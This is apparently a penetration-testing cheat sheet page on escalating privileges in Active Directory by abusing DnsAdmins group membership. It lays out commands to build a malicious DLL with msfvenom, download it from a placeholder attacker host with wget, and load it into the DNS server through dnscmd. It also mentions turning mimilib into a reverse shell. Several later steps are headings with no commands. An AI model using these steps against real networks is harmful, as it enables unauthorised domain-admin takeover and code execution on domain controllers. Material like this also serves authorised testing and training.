githubEdit

10.DnsAdmins

Approach to Exploiting DnsAdmins

1. Generate a Malicious DLL

msfvenom -p windows/x64/exec cmd='<command>' -f dll -o <dll_name>.dll

2. Host DLL on an HTTP Server

python3 -m http.server <port>

3. Transfer DLL to Target Machine

wget "http://<attacker_ip>:<port>/<dll_name>.dll" -outfile "<dll_name>.dll"

4. Verify Membership in DnsAdmins Group

Get-ADGroupMember -Identity DnsAdmins

5. Load Custom DLL into DNS Server Configuration

dnscmd.exe /config /serverlevelplugindll <dll_path>

6. Check Permissions on DNS Service

Retrieve the Security Identifier (SID) of the user:

wmic useraccount where name="<user>" get sid

Check DNS service permissions:

sc.exe sdshow DNS

7. Restart DNS Service to Trigger Payload Execution

8. Verify Exploitation

Check if the user was added to the Domain Admins group (if applicable):

9. Cleanup (if needed)

Check for the malicious DLL entry:

Remove the DLL entry from the registry:

Restart DNS service after cleanup:

10. Alternative Exploit - WPAD Attack

Disable WPAD blocking:

Create a WPAD DNS record pointing to the attacker's IP:

Commands Used:

  • msfvenom

  • python3 -m http.server

  • wget

  • dnscmd.exe

  • wmic

  • sc.exe

  • net

  • reg

  • Set-DnsServerGlobalQueryBlockList

  • Add-DnsServerResourceRecordA

PowerShell Cmdlets:

  • Get-ADGroupMember

Using Mimilib.dll

As detailed in this postarrow-up-right, we could also utilize mimilib.dllarrow-up-right from the creator of the Mimikatz tool to gain command execution by modifying the kdns.carrow-up-right file to execute a reverse shell one-liner or another command of our choosing.

Code: c

Last updated